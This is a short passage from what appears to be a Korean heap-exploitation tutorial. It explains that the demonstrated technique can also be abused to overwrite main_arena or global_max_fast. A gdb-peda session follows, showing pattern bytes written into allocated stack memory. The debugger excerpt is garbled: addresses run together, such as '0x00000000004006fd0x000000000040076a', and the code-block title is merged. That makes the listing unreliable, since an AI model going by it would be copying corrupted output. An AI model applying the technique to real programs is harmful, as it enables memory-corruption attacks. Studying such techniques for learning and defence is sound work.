  • 해당 예제에서는 단순히 if()의 조건을 우회하기 위해 사용했으나, 다른 방법으로도 악용할 수 있습니다.
    main_arena 영역에 값을 덮어쓰거나, global_max_fast 의 값을 변경 할 수 있습니다.
Code Block
titleOutputs "Hello World!"You can use the allocated stack memory.
gdb-peda$ c
Continuing.

Breakpoint 45, 0x00000000004006fd0x000000000040076a in main ()
gdb-peda$ i r rsi
rsi            0x7fffffffe438	0x7fffffffe438
gdb-peda$ ni
Hello world!AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

0x00000000004007020x000000000040076f in main ()
gdb-peda$ x/4gx 0x7fffffffe438
0x7fffffffe438:	0x4141414141414141	0x4242424242424242
0x7fffffffe448:	0x4343434343434343	0x4444444444444444
gdb-peda$ 

Related information

...